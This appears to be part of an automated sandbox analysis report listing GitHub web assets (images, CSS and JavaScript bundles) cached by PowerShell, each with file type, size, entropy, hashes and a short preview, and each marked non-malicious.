MD5:	B9722652AD2CAF73DC1DAF0C93DD9F19
SHA1:	0DDD8E0E1797D5A1EDEE41D8B716C5CE5022FC4D
SHA-256:	3486C1EDBBD23A3A1C34F0A5B7B74FAF331144C214912F82FBF4E4721F61C3BB
SHA-512:	866264A1506E296F7CEA34A6BB1F5AD2E875A110DE88F15C311EC0CF5F4160A85DD352DABE1CCD257452E9AA4FD67A8710517144E24D51990E93FD64696FEB3D
Malicious:	false
Preview:	.PNG........IHDR.......>......5H/....PLTE..................000.................................................................................LLL777bbb............;BK=DM...$$$@GQ...BKT555BIR)*...>EN6=C7=D@FO06<.../5;......&+0.........',1AIRDKVCKUAIR$)/PK2#(-."(%)0 $)!&+.!&"'-. %DLV..=4;B......',0.4;y..<CL06,1916<EB1+17@DI[_c(.4gpzilp...29@.....l/;IMQVwy}JNT....f.7=COp.......vy}9@G8>En..9Mcd....;FJP..8...D^}AHOY..ELTbfi)2<t...TX\...mosCJQ..!...orv.....#>EM....`U_gq......Ty.V_g...~..>47l^.66G...05;.x.4DV"t.Jg.MU^.k]faK....wd..P...\|xe1.1.....~k.Y??..cBJT....B....vHC_[V?.UN>VpcU1ZbkX[_ZPx_..i..clu?CH.....F...faLa..Ih..9......qtwNT[tJF.mW....\|hEE8u....q.p/.bOcW.qmXv[;.m.RZcYO6B?(ud.QJk.r_q...Z...?<S.PJ...........R...fX..6.q.a..L9:.}1..gDBk].._G..22z..~h.~..m.UN.\D2z.....u6x.'...FtRNS............7.1.4..: (.&/#*<!?,=-$...' $..J'.H#..E.+.Szp]:.3JkBEQ.......@...TIDATx..............................=k.m..a......^K.L`..Q .~T..zk..`j#..b.X,...b.X,......X\....^:...<.<oKX{..._.?...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\illu-copilot-sidebar-3d2efb504577[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 960 x 1222, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	53004
Entropy (8bit):	7.9688894350425485
Encrypted:	false
SSDEEP:	1536:7fY62WcFlFKHklMbpPN4yA4D+j907EkDKlG3/:h8FyEl4pPN4n4A07Ey3/
MD5:	5B930EAB3067663E6A741AF396CB830D
SHA1:	ECCC5387F9BFE4670191FBF44E7A06EF9710755C
SHA-256:	B8E04C5DBC18A4C58FFC243E7692FC23308328B1CE146063376609EF07D0C34C
SHA-512:	CAAC24B58ACB883C1BF0DCA9063D01B0A54F059FB50442D38218156B73D21E8F6DD0E226A7AA013B43DB91619FCD3D04FAF22985F1CA5AFEE43213DBE8E13C65
Malicious:	false
Preview:	.PNG........IHDR...............=:....PLTE/6> &.#)0......U`k.\|..%-..CHO...MRXV\b.........}.......6<C...9?G...jnrdgk...8...s...+18z}...OTK...sx{...7==...BMW.........`ej.4:.PNorv......jnt..y+15~.j)DX''(!;>...fkZ......N@@(-5846uuv#)1...%+3:@B]_bCHE$5B<GPijl.zoeMH..k@EK.tbFJN<BJ..~2q.:Tb......'3< 06rubQUX,-2..5..28?.......KPVE;<fjo)/6...#.84:?(+1WZ^+:E....xz{{.#(}[Q...[_S079...+SnZ_d..4.....)Oq.zf3HT.s..d^-<J.gZ[GD EF.f.RX_KOSGLR=79]bg...=YiEPKn..114.ogvy}Jdhk[..p,396..aeW-=H$Z...kTCB......qTM#,4z.......wPU[.....~.p.aU.....qAar?IS29;/b...t..\|......opq<HF...zYO...,[zDfxy\|f.ZV....m.3y.W[Q%=OHm.6NZ.cW$[.4..L=S62@.^T4...y....0CO `....V......q`.m].....o.j\...&T}...........b..........-b.....\..w.0j./i./b...n....ri.q..........q.a[.@Y.l......jLk.jb..xzVz.}r.g`...]N.K:.G7.c..`....f..f.$[.qz......IDATx...J.`....f.h@N...Eh.t.I.N.t.,dq...../@..d....A.../..........?.7_............................................(.&...,....m..{.......u..b..0..E..z.K..`..&..HS.....IK.j.N.7\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\illu-dependabot-d98c73cc6724[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1208 x 870, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	60260
Entropy (8bit):	7.977019955654631
Encrypted:	false
SSDEEP:	1536:si390XMGbZnZODjMa4/NNUydAB+YQIluR3R++bQqvzigVWAUTqQJ:syiXBn8Ma4Vi+zou7hUI+IeGQJ
MD5:	836EE7E9F0CC42F97A31DA8017850EE9
SHA1:	175CE52EA9E8068CBCBE034A502B0510B211259C
SHA-256:	4D777B311A3961AAC246983AA3BEF8A9C59AA18E3A89D5E81EE0D06AFE752C17
SHA-512:	934B3F4DB8893F3DCF1E8340BEF689C6E172FFD10F95E49C403033D551467841950BC97FC6DE1857DC0082565AAB0246932511313CFF6462A5202F977D800777
Malicious:	false
Preview:	.PNG........IHDR.......f............PLTE......,,,........."""....................................................................................................................................)))......... ...............$$$......%%%............,03).1'+/.......25%)-...%)-/36#'+/4716:<AF..#.. .. %...cjt.../3:2}.2[ak16=RYaUUU...IPX9?FAGO8=AQUYWWW...FFFHHH$)/YYYSSS(.3(-3......,28,15<BJDDE_epX.8imp.g."0AV]e??GEIMg.Fe.DEKTwy{jmp0r...."...[.;OV_KKKJJJ5:A^eoMMMU.4...)Q.!5Y`i......]aec.CELSPPP..._.>1x.a.AV.6'Fp```...........V.$;Y_fo...#5M...+\.......8;C..$}.....NU]&@dAAA]]]...===...%;Yi.IOOOpqsT.3ceiNT],\..../l.IKP(L\|...;=D...0x....(L{......K.1...vvv-a.T.7...9;:,a............\.D.....q.V......eee.........h.LF.//m.mmmQ.8^.Bbbb$;Xiiie.O..g...r._UfO....ncs]\mVCCKddl..!bej.X....VtRNS.........X[..]^.U .S..PQ"..K/2M'E.B@6$N>(4%IC8G<;+.?:H..9-F7.,....F.IKF&"FH$KDL@;2...-x......IDATx.............................`..@Ga...N.......h:....'m]...[.1..c.1..c.1..c.1.<..........7..'...2QJ

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\illu-discussions-2-b915a6dd867e[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1208 x 804, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	81599
Entropy (8bit):	7.976267914632646
Encrypted:	false
SSDEEP:	1536:BGG2+92sWBKymBOqsISKFrcMdG7jNDiQ/EJgdMkDMpL/h6YjA+ULMDoNv:B3LIgzOLIvlcMdwBDSJ156B+Uuot
MD5:	F59C84E0561EB5F6A1E7055E671E3DFD
SHA1:	0BF683D8B83C3EBDC37CED102F570B45C0FBEAED
SHA-256:	B03CCD69F9E944B48F98618FD359C4A9FD1AB2016A65E11D142575FC79ABB7E5
SHA-512:	81FDE04FD8D86961EE0A305C2D9998A7B36B11843D1186F07FB7BF15FC56A380A3DC68CD016172C608ACC4D04E9EBEA436CF032AE1C7C42A361C1FF5B75DADA8
Malicious:	false
Preview:	.PNG........IHDR.......$......xi.....PLTE.3;...$'.vvv8>F>>>9=G...?DOfff,,,<CKDLU...05=FMV(((...6<DBHQ=DMAFO'1......HPY9?G...///&&&...4:C...;AH39AQQQ...mv....28?/4<...$$$^eoQYc17>)-3...clv...enx"""...DKSX`jKR[W_h...PX`MU^......x..ZblajtT[d}...........9=F...V]f`hsNV_......s}.{..lu.;@IHHH...u..oy./6......hpy-08...\dooz.......ir}r{.......58A......t~.LT\.....y..w.....~.....kt~js\|>DLfoz...`ho......v........15; ...........LPXWQO.........^UU................&&#.....PXbbZY..........o........................e0/...vnm.yy..9...jda0"...kG1@GO.......w\EED......kjl..N.fNK8.wcqV:z\I..,9.$..\|.kF.{YE4^<(xuv..n.xd..f.rV.]HC?9zM8`_`.aJ.jU....U;{k[l?.)..;82PMJ.\|eOH>.q`.iX.................VWZ......\?cO<{}..wS.zeXImaT....W3...E*........]N}P$.U .o(.}H.OE.s..h...DLV....7..0DMW[}...'DLW.v.,DLV.....b....tRNS......................................................................J.........I..................J.............H.....................................................C..............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\illu-mobile-chat-9e7549906574[1].webp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.98347953709049
Encrypted:	false
SSDEEP:	384:YE9aA77XhH9FU55mwtQJc3RSLWnhxF7vqO7cAn:/aao55QuBSqhP7vqan
MD5:	3234014D9436AC9426089198E00EBA34
SHA1:	CBA960ED5538B75A68F1DF480DBD8F4A0312D4E9
SHA-256:	B54240B693D02CBD818609EA3C528007EA020DB101AC782E7CD618D66509DE03
SHA-512:	07BD7A2DEE1568078EEDE0F7F0D89DD82BC82721FD52BBCA86AF0EBFC7ACCBBB74CD69469C7E289A31C1A839DA9F0B5768C411EBAD4FBD16E4CF499CA3E925FA
Malicious:	false
Preview:	RIFF....WEBPVP8X..............ALPH.......m$......:....j..t.......h>2^....b.6.$.J.MOf...."b........G.rjS.9......<..=B.>\|.....s..._Y...}..V......Q{..K3.Zq<.J.yg.$...;3..b?.._..@....v.....k}ui&P?....mK.$............mE-^.r33.E....L.5..m...{.m[w..&.U....e.....'eI........YsQ..O.wZ=\.....s.:.uD.%1.$I...K.f....yT...m.....y.V....mG..1.$;%W..{......;(@.......r.......{..u...=..D...$Iv$...n...Q.2!.#.....mw.H.u ..uY.... ..DW$.Ui..&3.G.T.R..hI5@g.....2.....}..Kc.....m.J.MB.E]{w.{y..~...Mol[....j.=aTX..8l.${.......p.J.6....X.n>......2F..9... I..Il..c....)xhfW....m....U...S...O...?....T...S...O...?....T...S.........T........?............~.w......:..7...y...........'y...y,.Gx.X......w......KT:...'.......j........_....O.........;...G........W..._>.......r.0....jhW.l.....;R.....$....Q.h..jXL@3X..a....vCj...y....=......?....m.....p3....'?~.......v.~..R....wA..z..U.@D.10D0%..gw..y...d.R_]...\\|..O.................\...Vw."g-c...j........*. .&.$X.&p...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\imolorhe-9d771b1d4332[1].jpg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 192x192, components 3
Category:	dropped
Size (bytes):	3785
Entropy (8bit):	7.873031956071743
Encrypted:	false
SSDEEP:	96:Wh0F7vorq9OZVtM8l7VZpH/ih+14Bb6XJ+46:E0hvomwVSgpbHDXJs
MD5:	491D0BB09CF9C19CEBB785E566A1F2BB
SHA1:	F87CCDDAC005E6F9265314B85DCC4EF758C767D5
SHA-256:	611836313B66233E00E025B0CD49942DA4F098B68C5058053F520B3CC8DA2698
SHA-512:	56776D0E1EA1805EC6A07C90B4C0F8FDAB794C14F177C3B1C1CC700122D8C7F089EAE6DCCD529467C8EE57D9851A8EF393CFAEA4FA722E39B05D63E1FD53058B
Malicious:	false
Preview:	......JFIF................................................. $.' ",#..(7),01444.'9=82<.342...........2!.!22222222222222222222222222222222222222222222222222...........".............................................................!1..A.Q."aq....2B...#.Rbr...................................................!1.."A..2QaB............?....Iq..$.P.I$.B.$.'P42I.:..4.d.:..;?.........zwb.>.bV..=.3.A...;.OL......._...1j(.D.^sA.;.K...!U.S,Q ..A.I$.2I..4x.I%K.}.I.IH....$...h..:z@z...='...jJ...\..$...Y....:e......On.]5.p....)....1..5PH..{.._.^.......s8'b.b,.@.-...V."..nj..sJ...5T....T.+..._#...0.H.q......$..$8..$......%`}..2q....).9....}.Z1b.<....,..8...8....$..........C.".........../....(c.p6=..:X.f.y.N4}......?G.......Dz{..0...VO...</o..z.H.a..s0......r........y.E..c.V..1.9.l.H.#v.sM..,Cr...V.l.,U..Z .n.5.......*\.c..svI.@...sh.....!AH...I...8....MI.,Hp...D..&..t....3jQ.h.._.U..\.J>N.s......?...n...g...F....lz..)...(u.v.........".vK.#;.'.....:,.Ro@.{..s'6Y..u.......F.c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\keyboard-shortcuts-dialog-3d3b90edc171[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (28419)
Category:	dropped
Size (bytes):	29595
Entropy (8bit):	5.3333581682389335
Encrypted:	false
SSDEEP:	384:tXLWARFiLvFsgHEii4tJ6W3gBc5wftPv1njgwfBltDBp+rij6qv/Ni48UsDAKhZ:xRFiLvXkJG4PdnjpfB5I+j6qv/E4lG
MD5:	37559A3D524B6430E58C8E28993BC06A
SHA1:	A5EA42201474B0D1F900A44151EB07AA2F0D84E6
SHA-256:	53CD7825E5BAE4EA9A2276FE17F340C405B9306C7E316FD4DB8F404350C0BB79
SHA-512:	3D3B90EDC171BB66E59FD15D2783EB2D89D4D5B032B9B35BEBD147F372D5B3309F39976CD8F945D42539791624F940F74AE0A30A877D930AB07B788F6E86019B
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["keyboard-shortcuts-dialog"],{12480:(e,t,i)=>{i.d(t,{U0:()=>s});var n=i(97156);let r={Android:"Android",iOS:"iOS",macOS:"macOS",Windows:"Windows",Linux:"Linux",Unknown:"Unknown"};function s(){return function(){let e=r.Unknown,t=!1;if(n.cg){let i=n.cg.navigator,s=i.userAgent,a=i?.userAgentData?.platform\|\|i.platform;-1!==["Macintosh","MacIntel","MacPPC","Mac68K","macOS"].indexOf(a)?e=r.macOS:-1!==["iPhone","iPad","iPod"].indexOf(a)?e=r.iOS:-1!==["Win32","Win64","Windows","WinCE"].indexOf(a)?e=r.Windows:/Android/.test(s)?e=r.Android:/Linux/.test(a)&&(e=r.Linux),t=i?.userAgentData?.mobile??(e===r.Android\|\|e===r.iOS)}return{os:e,isAndroid:e===r.Android,isIOS:e===r.iOS,isMacOS:e===r.macOS,isWindows:e===r.Windows,isLinux:e===r.Linux,isDesktop:e===r.macOS\|\|e===r.Windows\|\|e===r.Linux,isMobile:t}}().isMacOS}},18558:(e,t,i)=>{i.d(t,{JC:()=>n.JC,KK:()=>n.KK,SK:()=>s,Vy:()=>n.Vy,ai:()=>n.ai,oc:()=>n.oc,rd:()=>n.rd});var n=i(5

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\primer-react-css.8879c83c1311e6328466.module[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (30424)
Category:	dropped
Size (bytes):	30484
Entropy (8bit):	4.997062431677614
Encrypted:	false
SSDEEP:	384:tGAIiW7kcO+1WU+O+lhnCWP3hPCDFjljjvvr0pCkN5:Lh
MD5:	9017D2D4909B20C4062013F87E6A3994
SHA1:	6D5539C0022DEA2338421F9D67E6157DC6FF0E1D
SHA-256:	6AF31EDD8064A37DE50E4DF95826B4AED85D7111BB14FDB2524DCDA72C5E8F85
SHA-512:	8879C83C1311E632846671106B7785CB821EDEAB766E1500DFE52E2D23506941E4922273D9F626C6261266BA57B443B01162DDF8B3AEE040B8BAE5B5F9FF8512
Malicious:	false
Preview:	@layer primer-react{:where(.prc-Button-ButtonBase-c50BI){align-items:center;-webkit-appearance:none;appearance:none;background-color:initial;border:var(--borderWidth-thin,max(1px,.0625rem)) solid;border-color:var(--button-default-borderColor-rest,var(--color-btn-border));border-radius:var(--borderRadius-medium,.375rem);color:var(--button-default-fgColor-rest,var(--color-btn-text));cursor:pointer;display:flex;font-family:inherit;font-size:var(--text-body-size-medium,.875rem);font-weight:var(--base-text-weight-medium,500);gap:var(--base-size-8,.5rem);height:var(--control-medium-size,2rem);justify-content:space-between;min-width:max-content;padding:0 var(--control-medium-paddingInline-normal,.75rem);text-align:center;-webkit-text-decoration:none;text-decoration:none;transition:80ms cubic-bezier(.65,0,.35,1);transition-property:color,fill,background-color,border-color;-webkit-user-select:none;user-select:none}:where(.prc-Button-ButtonBase-c50BI):hover{transition-duration:80ms}:where(.prc-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\shape-0-df97fa6b0c27[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	480
Entropy (8bit):	4.933799942152528
Encrypted:	false
SSDEEP:	12:trW7o/4Ku548XmAiqkAHF06jrPkAHF0A7SRQ6kAHF0tGiiHAW5cKc3xiiHAm:tq7o/4Ku5482AFka0SrPka0GSRQ6ka0J
MD5:	F892D15CA48A8C13C94EA33DEADBCA92
SHA1:	B95A683DCC7C989B3BAF8DA00DE271ECBC8C4028
SHA-256:	8EF45FEE8A2B30190633642BDA6EA9B3F2B9114C90F3E1D0639EF8E5825970A4
SHA-512:	DF97FA6B0C273A0286012409097BAF738121CC0CDDB0404D4DD9F10ADFE618FB3BB07B025D5030E45B1365CEE0657A4227AF4D6EC2C3192C1F9C563B81CDF51E
Malicious:	false
Preview:	<svg width="628" height="628" viewBox="0 0 628 628" fill="none" xmlns="http://www.w3.org/2000/svg">.<g opacity="0.1">.<circle cx="314" cy="314" r="313" stroke="white" stroke-width="2"/>.<circle cx="314.784" cy="313.216" r="157.638" stroke="white" stroke-width="2"/>.<circle cx="312.102" cy="313.358" r="97.1643" stroke="white" stroke-width="2"/>.<circle cx="382.469" cy="247.096" r="9.78125" fill="white"/>.<circle cx="452.894" cy="237.706" r="9.78125" fill="white"/>.</g>.</svg>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\ui_packages_failbot_failbot_ts-aabfa4ec15fe[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (8825)
Category:	dropped
Size (bytes):	8897
Entropy (8bit):	5.382088556474548
Encrypted:	false
SSDEEP:	192:WwLCwCr+Aty5LQ0f5gQmoyB44o4gZ4DEJhAnB:5O7r+4y5s0fRmoyB44o4QgEJq
MD5:	84740CCE33E5A31D80BE06F32935CB50
SHA1:	9E178476116BA28F58C4374546AF052BD0BC0B4D
SHA-256:	4CFA417546406B106FE34920CF0BEFAFED5D5FA40D1A723E121830132DB81D3D
SHA-512:	AABFA4EC15FEE097E1BBB782CC2CF111E627652AB5BB5DD9015CDAA1247DB9CE605553EE0F297985CCE3FF2A17CC0361E856D029FA8E83BC6C1972ACC86AACF3
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_failbot_failbot_ts"],{27756:(e,t,n)=>{let r;function o(){if(!r)throw Error("Client env was requested before it was loaded. This likely means you are attempting to use client env at the module level in SSR, which is not supported. Please move your client env usage into a function.");return r}function a(){return r?.locale??"en-US"}function i(){return!!o().login}n.d(t,{JK:()=>a,M3:()=>i,_$:()=>o}),!function(){if("undefined"!=typeof document){let e=document.getElementById("client-env");if(e)try{r=JSON.parse(e.textContent\|\|"")}catch(e){console.error("Error parsing client-env",e)}}}()},5728:(e,t,n)=>{n.d(t,{G:()=>o,K:()=>a});var r=n(97156);let o=r.XC?.readyState==="interactive"\|\|r.XC?.readyState==="complete"?Promise.resolve():new Promise(e=>{r.XC?.addEventListener("DOMContentLoaded",()=>{e()})}),a=r.XC?.readyState==="complete"?Promise.resolve():new Promise(e=>{r.cg?.addEventListener("load",e)})},23780:(e,t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ed6ff1fbeca4[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (8345)
Category:	dropped
Size (bytes):	8487
Entropy (8bit):	5.341405756090537
Encrypted:	false
SSDEEP:	192:a++3HkVNJkEKdO23mrxQGLfnMXB+isX7JMTsjy4IFR:HTJFK54iGLfnXA
MD5:	0E4BE0C34F0659A1A828AE9813C01CA5
SHA1:	49BAB8517ADA399F8A5CAC08D9E5304F254167D4
SHA-256:	AD701A94763AFE573CB01199DE9369CA7A3A16F57FF1B672F5CBCE02C8784A6E
SHA-512:	ED6FF1FBECA45995A63112DD2661C9644CAEB61954E2D94999CE3F169BBA0F0C5FE43CCBF6673B6D8FABC5098BDAB4ED937994B37978472B0386EA91A765C5B0
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979"],{21605:(e,t,r)=>{r.d(t,{y:()=>o});var a=r(74848),n=r(96540),s=r(31481);function o({children:e,appName:t,category:r,metadata:o}){let i=(0,n.useMemo)(()=>({appName:t,category:r,metadata:o}),[t,r,o]);return(0,a.jsx)(s.I.Provider,{value:i,children:e})}try{o.displayName\|\|(o.displayName="AnalyticsProvider")}catch{}},31481:(e,t,r)=>{r.d(t,{I:()=>a});let a=(0,r(96540).createContext)(null)},67726:(e,t,r)=>{r.d(t,{l:()=>a});let a=()=>void 0},92812:(e,t,r)=>{r.d(t,{B:()=>a});let a=(0,r(96540).createContext)(null)},51261:(e,t,r)=>{r.d(t,{z:()=>n});var a=r(45588);function n(e={}){let t;let r=(0,a.zR)({...e,v5Compat:!0}),n=[],s=!1;function o(e){if(n.length>0)for(let t of n)t({retry(){e()}});else e()}return r.listen(e=>{if(s){s=!1;return}if(e.action===a.rc.Pop&&n.length&&null!==e.delta&&n.length>0){let t=e.delta;for(let e of(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54-74622d897749[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (25554)
Category:	dropped
Size (bytes):	119069
Entropy (8bit):	5.285781374618717
Encrypted:	false
SSDEEP:	3072:HhY6a0jlXr897kiJi2itiroBSJr0SClRm1J7Jvy:H1aIXr8hboqIlRmf8
MD5:	67815BE1922B496CBA8E74FDA1299926
SHA1:	19A13F129F864FFB8230266B6A4DF623AEC60B90
SHA-256:	5143F46CB83993AFD7201AF3DE0D20277E3298AF9FA1285E1643E96B1FDF6947
SHA-512:	74622D897749656FB8482F4DFA71E55BF70E00B4ECF7672332588D8001F9F83066FC3BF21F76729007D62CE9044BEA0C97951DC3D663C9DDEFB2EF1DA744A9E7
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54"],{91707:(t,e,i)=>{i.d(e,{o:()=>Attachment});let Attachment=class Attachment{constructor(t,e){this.file=t,this.directory=e,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(t,e){var i;return e&&(i=t).items&&Array.from(i.items).some(t=>{let e=t.webkitGetAsEntry&&t.webkitGetAsEntry();return e&&e.isDirectory})?r("",Array.from(t.items).map(t=>t.webkitGetAsEntry()).filter(t=>null!=t)):Promise.resolve(n(Array.from(t.files\|\|[])).map(t=>new Attachment(t)))}static from(t){let e=[];for(let i of t)if(i instanceof File)e.push(new Attachment(i));else if(i instanceof Attachment)e.push(i);else throw Error("Unexpected type");return e}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a-9ffd541aafbc[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	781825
Entropy (8bit):	5.33907596519921
Encrypted:	false
SSDEEP:	3072:rlGpb4MKqy+LqXpBl1TNdC7B5rlG7gyJY4Y6CNgDrAxsy39pZvg3zjA8W74XjSJo:rlUsLqSeWANlSjA88A+O5vdJHZ0zm
MD5:	CB6851DDC7807226C028096F321D5AEE
SHA1:	A2CA26B37308FE17C9279824EDA37D8C942185FD
SHA-256:	74D62C6FE0E027A4566C93C5279D0D6EC09C5C1DF59D2A07EFA61F7867300873
SHA-512:	9FFD541AAFBC62319A2D45E6E30A41206D9D99470184D6C1CD37C2BBA5526C763D1A09ADF445A4AD9674DF84969220742B14082598CD3100109B10D4974AD2A2
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a"],{70170:(r,e,a)=>{"use strict";function o(r,e=0,{start:a=!0,middle:o=!0,once:t=!1}={}){let c,n=a,l=0,i=!1;function d(...s){if(i)return;let h=Date.now()-l;l=Date.now(),a&&o&&h>=e&&(n=!0),n?(n=!1,r.apply(this,s),t&&d.cancel()):(o&&h<e\|\|!o)&&(clearTimeout(c),c=setTimeout(()=>{l=Date.now(),r.apply(this,s),t&&d.cancel()},o?e-h:e))}return d.cancel=()=>{clearTimeout(c),i=!0},d}function t(r,e=0,{start:a=!1,middle:t=!1,once:c=!1}={}){return o(r,e,{start:a,middle:t,once:c})}a.d(e,{n:()=>o,s:()=>t})},75177:(r,e,a)=>{"use strict";a.d(e,{A:()=>n});var o=a(10619),t=a(25999),c=a(44999);let n=o.Ay.div.withConfig({displayName:"Box",componentId:"sc-g0xbh4-0"})(t.xe,t.yW,t.Il,t.Zp,t.pn,t.Vg,t.Tp,t.PQ,t.G1,t.r7,c.A)},95286:(r,e,a)=>{"use strict";a.d(e,{V:()=>o});let o=a(24164).X.create({primer_react_css_modules_team:!1,primer_react_css_modules_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2-373766bf71f1[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (18715)
Category:	dropped
Size (bytes):	41061
Entropy (8bit):	5.276730819726511
Encrypted:	false
SSDEEP:	768:KOscTZU9+XXJh7L2YKp9g6+ND5csALDNUzJywbBVWfmvIvKU3hySnX:vscL0xTU9ywbBVWfrnhF
MD5:	4DEFF3C4A3A151987CA471F575325C47
SHA1:	0B3931A774292111EFF8C127599AA6A815ACB165
SHA-256:	EF13136EB8C31F7BD51B3B6E6825A265DB9BF466C484DAF5A5A41D6C4370532F
SHA-512:	373766BF71F10C4BF8A4ACFB54EA9246996BDF3E7476D8688C6CDC5F95CF1A280E578D9D6C14A9D4A10D75693410EC7626B0FBE33F7DDCC839AAEC8E928FDD53
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2"],{66661:(e,t,n)=>{function i(e){let t=e.parentNode;if(null===t\|\|!(t instanceof HTMLElement))throw Error();let n=0;t instanceof HTMLOListElement&&1!==t.start&&(n=t.start-1);let i=t.children;for(let t=0;t<i.length;++t)if(i[t]===e)return n+t;return n}n.d(t,{P:()=>Quote,g:()=>MarkdownQuote});let r=0;function a(e){return e.replace(/&/g,"&").replace(/'/g,"'").replace(/"/g,""").replace(/</g,"<").replace(/>/g,">")}let o={INPUT:e=>e instanceof HTMLInputElement&&e.checked?"[x] ":"[ ] ",CODE(e){let t=e.textContent\|\|"";return e.parentNode&&"PRE"===e.parentNode.nodeName?(e.textContent=`\`\`\`.${t.replace(/\n+$/,"")}.\`\`\`..`,e):t.indexOf("`")>=0?`\`\` ${t} \`\``:`\`${t}\``},P(e){let t=document.createElement("p"),n=e.textContent\|\|"";return t.textContent=n.replace(/<(\/?)(pre\|strong\|weak\|em)>/g,"\\<$1$2\\>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vendors-node_modules_github_text-expander-element_dist_index_js-e40ed7658a74[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (14256)
Category:	dropped
Size (bytes):	14361
Entropy (8bit):	5.101692728518038
Encrypted:	false
SSDEEP:	384:0NU/wKp3nPlY1e968LDjD1eq4AqFQxf8EeKm:0NU/1FnNoeZD31efSxfreH
MD5:	228C23E82E6508008D9D90C7C5E5D676
SHA1:	608BA2203B26BA3953164F4CDC082010BBE5B515
SHA-256:	0A539066142A2DBF1E6DCDF2A49EE64839C7E73851A3C18CEDEC91F41DF13B5D
SHA-512:	E40ED7658A745CFD613A689CFDA47868A3075C0AE08EB872B00A606D310684BF20C98551F1AEC7EC196830AC55C01F51985AD5E08A8B953583A306F23AAA1C20
Malicious:	false
